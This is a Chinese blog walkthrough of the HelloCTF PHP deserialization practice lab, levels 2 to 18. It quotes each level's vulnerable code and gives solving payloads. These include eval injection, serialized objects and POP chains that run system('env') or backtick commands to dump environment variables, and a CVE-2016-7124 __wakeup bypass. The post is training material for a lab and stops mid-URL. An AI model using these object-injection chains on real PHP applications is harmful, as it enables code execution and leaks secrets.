当前位置: 首页 > article >正文

HELLOCTF反序列化靶场全解

level 2

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 --- 

HINT:尝试将flag传递出来~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

error_reporting(0);

 $flag_string = "NSSCTF{????}";

 class FLAG{
        public $free_flag = "???";

        function get_free_flag(){
            echo $this->free_flag;
        }
    }
$target = new FLAG();

$code = $_POST['code'];

if(isset($code)){
       eval($code);
       $target->get_free_flag();
}
else{
    highlight_file('source');
}

从上往下 可控点位于$code = $_POST['code'];flag位于$flag_string根据代码可以修改class中的$free_flag值为$flag_string

code=$target->$free_flag = $flag_string;

level3

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 3 : 对象中值的权限 --- 

HINT:尝试将flag传递出来~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG{
    public $public_flag = "NSSCTF{?";
    protected $protected_flag = "?";
    private $private_flag = "?}";

    function get_protected_flag(){
        return $this->protected_flag;
    }

    function get_private_flag(){
        return $this->private_flag;
    }
}

class SubFLAG extends FLAG{
    function show_protected_flag(){
        return $this->protected_flag;
    }

    function show_private_flag(){
        return $this->private_flag;
    }
}

$target = new FLAG();
$sub_target = new SubFLAG();


$code = $_POST['code'];

if(isset($code)){
    eval($code);
} else {
    highlight_file(__FILE__);
    echo "Trying to get FLAG...<br>";
    echo "Public Flag: ".$target->public_flag."<br>";
    echo "Protected Flag:".$target->protected_flag ."<br>";
    echo "Private Flag:".$target->private_flag ."<br>";
}

?>

关键点位于

public $public_flag = "NSSCTF{?";
    protected $protected_flag = "?";
    private $private_flag = "?}";
    class SubFLAG extends FLAG

其中用到了三个修饰符public protected private分别代表

  • public(公有): 公有的类成员可以在任何地方被访问。
  • protected(受保护): 受保护的类成员则可以被其自身以及其子类和父类访问。(可继承)
  • private(私有): 私有的类成员则只能被其定义所在的类访问。(不可继承)

效果就是当我们尝试通过继承类访问private成员变量时候是无法访问的

而protected是可以访问的

code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();

level4

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 4 : 序列化 --- 

HINT:嗯!?全是私有,怎么获取flag呢?试试序列化!

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG3{
    private $flag3_object_array = array("?","?");
}

class FLAG{
     private $flag1_string = "?";
     private $flag2_number = '?';
     private $flag3_object;

    function __construct() {
        $this->flag3_object = new FLAG3();
    }
}

$flag_is_here = new FLAG();


$code = $_POST['code'];

if(isset($code)){
    eval($code);
} else {
    highlight_file(__FILE__);
}

观察代码,在输入之前就已经完成了对象的创建$flag_is_here = new FLAG();观察所创建对象都是私有类型,其中`__construct()创建了FLAG3()的对象,但其中也是私有量

解题可以通过序列化后将所有数据带出来

echo serialize($flag_is_here);
O:4:"FLAG":3:{s:18:"FLAGflag1_string";s:8:"ser4l1ze";s:18:"FLAGflag2_number";i:2;s:18:"FLAGflag3_object";O:5:"FLAG3":1:{s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}}}
NSSCTF{ser4l1ze2se3me}

level5

考察常规值的序列化了解

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 5 : 序列化规则 --- 

HINT:各有千秋~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class a_class{
    public $a_value = "NSSCTF";
}
$a_object = new a_class();
$a_array = array(a=>"Hello",b=>"CTF");
$a_string = "NSSCTF";
$a_number = 678470;
$a_boolean = true;
$a_null = null;

See How to serialize:
a_object: O:7:"a_class":1:{s:7:"a_value";s:6:"NSSCTF";}
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
a_string: s:6:"NSSCTF";
a_number: i:678470;
a_boolean: b:1;
a_null: N;
Now your turn!
<?php

$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);

if(
    $your_boolean && 
    $your_NULL == null &&
    $your_string == "IWANT" &&
    $your_number == 1 &&
    $your_object->a_value == "FLAG" &&
    $your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
){
    echo $flag;
}
else{
    echo "You really know how to serialize?";
}


You really know how to serialize?

注意到下面的if判断,内容通过反序列化函数输入

不仅class,普通数值也可进行序列化

<?php
class a_class{
    public $a_value = "FLAG";
}
$a_object = new a_class();
$a_array= array("a"=>"Plz","b"=>"Give_M3");
$a_string = "IWANT";
$a_number = 1;
$a_boolean = true;
$a_null = null;

//echo serialize($a_object);
//echo serialize($a_array);
//echo serialize($a_string);
//echo serialize($a_number);
//echo serialize($a_boolean);
//echo serialize($a_null);

$exp = "o=".serialize($a_object)."&a=".serialize($a_array)."&s=".serialize($a_string)."&i=".serialize($a_number)."&b=".serialize($a_boolean)."&n=".serialize($a_null);
echo $exp;
o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&s=s:5:"IWANT";&i=i:1;&b=b:1;&n=N;

level 6

考察权限修饰的序列化表现

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 6 : 序列化规则_权限修饰 --- 

HINT:各有千秋~特别注意的权限修饰符x

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class protectedKEY{
    protected $protected_key;

    function get_key(){
        return $this->protected_key;
    }
}

class privateKEY{
    private $private_key;

    function get_key(){
        return $this->private_key;
    }

}
$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);

if(isset($protected_key)&&isset($private_key)){
    if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
        echo $flag;
    } else {
        echo "We Call it %00_Contr0l_Characters_NULL!";
    }
} else {
    highlight_file(__FILE__);
}

不难看出来来需要通过传入序列化参数 触发if判断,一个是私有参数一个是保护参数,他们的序列化内容都会有不可见字符,所以需要对他们进行urlencode来完成防止字符丢失

<?php

class protectedKEY{
    protected $protected_key="protected_key";

    function get_key(){
        return $this->protected_key;
    }
}

class privateKEY{
    private $private_key="private_key";

    function get_key(){
        return $this->private_key;
    }

}

$x = new protectedKEY();
$y = new privateKEY();
echo "protected_key=".urlencode(serialize($x))."&private_key=".urlencode(serialize($y));

level7

基础反序列化漏洞

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 7 : 实例化和反序列化 --- 

HINT:可控的输入 简单的漏洞演示 / FLAG in flag.php

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG{
    public $flag_command = "echo 'Hello CTF!<br>';";

    function backdoor(){
        eval($this->flag_command);
    }
}

$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';

$Instantiate_object = new FLAG(); // 实例化的对象

$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象

$Instantiate_object->backdoor();

$Unserialize_object->backdoor();

<?php /* Now Your Turn */
unserialize($_POST['o'])->backdoor();

level 8

这里考察了构造函数 __construct()和 析构函数 __destruct()的使用

<?php

class RELFLAG {

    public function __construct()
    {
        global $flag;
        $flag = 0;
        $flag++;
        echo "Constructor called " . $flag . "<br>";
    }
    public function __destruct()
    {
        global $flag;
        $flag++;
        echo "Destructor called " . $flag . "<br>";
    }
}

function check(){
    global $flag;
    if($flag > 5){
        echo "HelloCTF{???}";
    }else{
        echo "Check Detected flag is ". $flag;
    }
}

if (isset($_POST['code'])) {
    eval($_POST['code']);
    check();
}

构造函数仅会在对象实例化的时候被调用——反序列化的创建过程则不会触发,也就是new的时候,解析函数则是会在对象被回收时候触发,例如手动回收的unset函数,或者自动回收

由此 可构建一个payload

unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

level 9

常规

<?php
/*
--- HelloCTF - 反序列化靶场 关卡 9 : 构造函数的后门 --- 

HINT:似曾相识

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG {
    var $flag_command = "echo 'HelloCTF';";
    public function __destruct()
    {
        eval ($this->flag_command);
    }
}

unserialize($_POST['o']);

不常规的是system函数无法使用,所以需要使用``来完成命令的执行,在php中反引号的功能就是类似shell_exec,将字符串作为命令执行后返回

由此可得payload

class FLAG {
    var $flag_command = "echo `env`;";
}

echo urlencode(serialize(new FLAG()));

level 10

第一个魔法函数__wakeup()

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 10 : weakup! --- 

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
除开构造和析构函数,这应该是你第一个真正意义上开始接触的魔术方法,此后每一个魔术方法对应的题目我都会在这里介绍。
当然你也可以直接查阅PHP官网文档 - 魔术方法部分:https://www.php.net/manual/zh/language.oop5.magic.php

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

error_reporting(0);

class FLAG{
    function __wakeup() {
        include 'flag.php';
        echo $flag;
    }
}

if(isset($_POST['o']))
{
    unserialize($_POST['o']);
}else {
    highlight_file(__FILE__);
}
?>

其实题目已经说的非常清楚了__wakeup()作为一个魔术方法,他的作用是在反序列化前完成运行,那么只需要传入一个序列化内容就好,里面甚至不需要有东西

class FLAG{
    function __wakeup() {
        include 'flag.php';
        echo $flag;
    }
}

echo serialize(new FLAG());

level 11

老漏洞,但是在ctf还是会常出现

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 11 : Bypass weakup! --- 

CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10
在该漏洞中,当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

error_reporting(0);

include 'flag.php';

class FLAG {
    public $flag = "FAKEFLAG";

    public function  __wakeup(){
        global $flag;
        $flag = NULL;
    }
    public function __destruct(){
        global $flag;
        if ($flag !== NULL) {
            echo $flag;
        }else
        {
            echo "sorry,flag is gone!";
        }
    }
}

if(isset($_POST['o']))
{
    unserialize($_POST['o']);
}else {
    highlight_file(__FILE__);
    phpinfo();
}

?>

不难注意到这里要获得flag需要$flag !== NULL但是在__wakeup()中设置了flag = NULL所以需要使用其他的方法

CVE-2016-7124的作用是,当序列化内容中对象属性的值大于真实属性值时便会跳过__wakeup的执行,那么我们只需要构造一个非标准序列化内容

O:4:"FLAG":1:{s:4:"flag";s:8:"fuckflag";} >> O:4:"FLAG":1:{s:4:"flag";s:9:"fuckflag";}

即可

level 12

真有意思

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 12 : sleep! ---

年轻就是好啊,倒头就睡。

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
该方法必须返回一个数组: return array('属性1', '属性2', '属性3') / return ['属性1', '属性2', '属性3']。
数组中的属性名将决定哪些变量将被序列化,当属性被 static 修饰时,无论有无都无法序列化该属性。
如果需要返回父类中的私有属性,需要使用序列化中的特殊格式 - %00父类名称%00变量名
(也就是 "\0FLAG\0f" 的写法)。如果该方法未返回任何内容,序列化会被制空,并产生一个 E_NOTICE 级别的错误。
*/

class FLAG {

    private $f;       // 私有属性 f,只能在本类中访问
    private $l;       // 私有属性 l,只能在本类中访问
    protected $a;     // 受保护属性 a,本类和子类可访问
    public  $g;       // 公有属性 g,任何地方都可访问
    public $x,$y,$z;  // 公有属性 x、y、z

    // 魔术方法 __sleep() 会在调用 serialize($object) 前被自动执行
    public function __sleep() {
        // 只返回 x, y, z 这三个属性名
        // 序列化后,结果中只包含这三个属性的内容
        return ['x','y','z'];
    }
}

class CHALLENGE extends FLAG {

    // 子类定义了 8 个公有属性
    // 注意这里 $f 虽然同名,但和父类的 private $f 是不同的作用域
    public $h,$e,$l,$I,$o,$c,$t,$f;

    // 定义一个方法 chance(),返回 $_GET['chance'] 参数值
    function chance() {
        return $_GET['chance'];  // 若 URL 带 ?chance=xxx,则返回 xxx
    }

    // 子类重写了 (override) 父类的 __sleep()
    public function __sleep() {
        /*
           注释:FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g
           看起来是想暗示这些属性拼在一起就是“FLAG”。
        */

        // 这里定义了一个属性名数组
        $array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];

        // array_rand($array_list) 从数组中随机返回一个键
        $_ = array_rand($array_list);
        $__ = array_rand($array_list);

        // 返回 3 个属性名:
        //  1) $array_list[$_]  -> 第一次随机选择的属性名
        //  2) $array_list[$__] -> 第二次随机选择的属性名
        //  3) $this->chance()  -> 从 $_GET['chance'] 来的字符串
        return array($array_list[$_], $array_list[$__], $this->chance());
    }

}

// 实例化 FLAG 类
$FLAG = new FLAG();

// 序列化 $FLAG 对象
// 因为 FLAG 类的 __sleep() 返回 [x,y,z]
// 最终只会序列化 x,y,z 这三个属性(且若没赋值,默认为 null)
echo serialize($FLAG);

// 序列化一个新的 CHALLENGE 对象
// 调用 CHALLENGE::__sleep(),会随机拿 array_list 中两个属性名,
// 再把 ?chance=xxx 里的 xxx 也当作一个属性名一起序列化
echo serialize(new CHALLENGE());

原题代码注解了下

这题主要演示的是__sleep()逐个魔术函数,在序列化内容的时候如果存在这个函数他就会先被调用

一样的做题先看可控点,可控点位于子类的chance()方法中,跟踪这个方法到了array($array_list[$_], $array_list[$__], $this->chance());而这个语句位于子类的__sleep()中下面的serialize(new CHALLENGE());之前他会先被执行,所以如果我们想拿到父类中的private属性,就可以使用%00FLAG%00f来传入,在序列化中其会被解读分析成父类的属性变量,在序列化内容中显示

为什么会显示:因为sleep必须返回数组,而数组中的属性名将决定哪些变量将被序列化

O:9:"CHALLENGE":3:{s:1:"f";s:3:"t0_";s:1:"l";s:17:"__sleep_function_";s:7:"FLAGf";s:6:"clean_";}

所以,我们即可以通过控制序列化内容的方式获取我们需要的内容

NSSCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}

level 13

toString()

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 13 __toString()  --- 

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG {
    function __toString() {
        echo "I'm a string ~~~";
        include 'flag.php';
        return $flag;
    }
}

$obj = new FLAG();

if(isset($_POST['o'])) {
    eval($_POST['o']);
} else {
    highlight_file(__FILE__);
}

一般情况下echo无法直接输出一个对象,而通过toString()函数则可以实现

当尝试使用echo输出一个对象的时候,其会尝试检查对象是否定义了一个toString(),如果没有定义则直接返回一个错误

方法没有参数,也不传递参数,但该方法必须返回字符串

level 14

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 14 : __invoke() --- 

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj()。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG{
    function __invoke($x) {
        if ($x == 'get_flag') {
            include 'flag.php';
            echo $flag;
        }
    }
}

$obj = new FLAG();

if(isset($_POST['o'])) {
    eval($_POST['o']);
} else {
    highlight_file(__FILE__);
}

简单来说就是__invoke() 会在将一个对象当作一个方法来使用时会自动调用

payload:

o=echo $obj('get_flag');

Level15-POP链前置

代码

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 15 : POP链初步 --- 

世界的本质其实就是套娃(x

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

/* FLAG in flag.php */

class A {
    public $a;
    public function __construct($a) {
        $this->a = $a;
    }
}
class B {
    public $b;
    public function __construct($b) {
        $this->b = $b;
    }
}
class C {
    public $c;
    public function __construct($c) {
        $this->c = $c;
    }
}

class D {
    public $d;
    public function __construct($d) {
        $this->d = $d;
    }
    public function __wakeUp() {
        $this->d->action();
    }
}

class destnation {
    var $cmd;
    public function __construct($cmd) {
        $this->cmd = $cmd;
    }
    public function action(){
        eval($this->cmd->a->b->c);
    }
}

if(isset($_POST['o'])) {
    unserialize($_POST['o']);
} else {
    highlight_file(__FILE__);
}

注意到终点的需求eval($this->cmd->a->b->c);cmd中的a中的b中的c需要是payload,又注意到action()函数的调用位于D类

那么可以得到payload

$C = new C("system('env');");
$B = new B($C);
$A = new A($B);
$destnation = new destnation($A);
$D = new d($destnation);

echo serialize($D);
O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:14:"system('env');";}}}}}
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 16 : zePOP--- 

__wakeUp() 方法用于反序列化时自动调用。例如 unserialize()。
__invoke() 方法用于一个对象被当成函数时应该如何回应。例如 $obj() 应该显示些什么。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

试着把他们串起来吧ww

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class A {
    public $a;
    public function __invoke() {
            include $this->a;
            return $flag;
    }
}

class B {
    public $b;
    public function __toString() {
        $f = $this->b;
        return $f();
    }
}


class INIT {
    public $name;
    public function __wakeUp() {
        echo $this->name.' is awake!';
    }
}

if(isset($_POST['o'])) {
    unserialize($_POST['o']);
} else {
    highlight_file(__FILE__);
}

这题涉及了三个函数__wakeUp() __invoke() __toString()

先找终点 终点是class A 这里返回了flag,不难发现需要引入flag.php——且这里使用了invoke()函数,他的作用是当对象被作为函数调用时候的返回flag,满足这个逻辑的对象是B,那么只需要将A传入B再将B传入init即可

payload

class A {
    public $a = 'flag.php'; # 修改 使得include导入flag.php
    public function __invoke() { # 终点
        include $this->a;
        return $flag;
    }
}

class B {
    public $b;
    public function __toString() {
        $f = $this->b;
        return $f(); #返回了函数调用 让f指向class A
    }
}


class INIT {
    public $name;
    public function __wakeUp() { # 入口 方法用于反序列化时自动调用
        echo $this->name.' is awake!';
    }
}
$a = new A;
$b = new B;
$init = new INIT;
$b -> b = $a;
$init->name = $b;
echo serialize($init);
O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}

level 17

无中生有

/*
--- HelloCTF - 反序列化靶场 关卡 17 : 字符串逃逸基础 --- 

序列化和反序列化的规则特性_无中生有:当成员属性的实际数量符合序列化字符串中对应属性值时,似乎不会做任何检查?

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class A {

}
echo "Class A is NULL: '".serialize(new A())."'<br>";

class B {
    public $a = "Hello";
    protected $b = "CTF";
    private $c = "FLAG{TEST}";
}
echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";

$serliseString = serialize(new B());

$serliseString = str_replace('B', 'A', $serliseString);

echo "After replace B with A,we unserialize it and dump :<br>";
var_dump(unserialize($serliseString));

if(isset($_POST['o'])) {
    $a = unserialize($_POST['o']);
    if ($a instanceof A && $a->helloctfcmd == "get_flag") {
        include 'flag.php';
        echo $flag;
    } else {
        echo "what's rule?";
    }
} else {
    highlight_file(__FILE__);
}

极端情况下,在一个完全空白的序列化对象中,反序列化的字符串包含了内容,则反序列化后的对象则会包含这些属性

payload:

class A{
    public $helloctfcmd = "get_flag";
}

level 18

字符串逃逸2

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 18 : 字符串逃逸基础 --- 

序列化和反序列化的规则特性,字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 ";}" 作为字符串的结尾判定。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

highlight_file(__FILE__);

class Demo {
    public $a = "Hello";
    public $b = "CTF";
    public $key = 'GET_FLAG";}FAKE_FLAG';
}

class FLAG {

}

$serliseStringDemo = serialize(new Demo());

$target = $_GET['target'];
$change = $_GET['change'];

$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);

$FLAG = unserialize($serliseStringFLAG);

if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
    echo $flag;
}

这道题的关键点位于str_replace函数 我看可以控制Demo()反序列化后的结果,判断点的要求是令对象FLAG中的key等于GET_FLAG

'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'

反序列化的内容如上,需要做的就是替换掉Demo与GET_FLAG";}FAKE_FLAG,如此可以传入数组替换,将20替换为8压缩空间,将Demo替换为FLAG

http://node1.anna.nssctf.cn:28034/Level18/index.php?target[]=Demo&target[]=20&change[]=FLAG&change[

http://www.kler.cn/a/534755.html

相关文章:

  • 接口对象封装思想及实现-笔记
  • 使用Pygame制作“打砖块”游戏
  • 腾讯云 TI 平台部署与调用DeepSeek-R1大模型的实战指南
  • AllData数据中台核心菜单十二:数据同步平台
  • 8.攻防世界Web_php_wrong_nginx_config
  • 两种文件类型(pdf/图片)打印A4半张纸方法
  • langchain教程-2.prompt
  • DeepSeek写的lammps反应势断键动态显示程序
  • 使用requestAnimationFrame减少浏览器重绘
  • 事件驱动架构(EDA)
  • 电路研究9.2.10——合宙Air780EP中文件系统读写命令使用方法研究
  • 达梦利用老备份集和新归档日志进行异机恢复
  • 单硬盘槽笔记本更换硬盘
  • 2025年南软考研复试,进!
  • 【机器学习与数据挖掘实战】案例12:基于决策树算法的水色图像的水质评价
  • 如何使用Webpack构建前端应用?
  • 剑指 Offer II 014. 字符串中的变位词
  • 快速搭建GPU环境 | docker、k8s中使用gpu
  • DS本地化部署教程
  • 谈谈芯片设计企业中的产品项目管理
  • 【漫画机器学习】083.安斯库姆四重奏(Anscombe‘s quartet)
  • 链式结构二叉树(递归暴力美学)
  • C06S01-Docker架设
  • 前端知识速记:重绘和回流
  • 自然世界的数字原理
  • 文件上传到腾讯云存储、签名及设置过期时间